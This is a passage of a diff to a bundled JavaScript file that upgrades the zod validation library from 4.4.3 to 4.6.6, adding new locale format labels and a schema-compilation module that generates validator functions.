\u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64515,12 +67064,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64559,6 +67108,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64626,17 +67178,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64662,12 +67215,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64735,17 +67292,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64771,12 +67329,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64845,17 +67407,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64881,12 +67444,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64953,17 +67520,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64989,12 +67557,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65061,14 +67633,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65115,21 +67687,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + 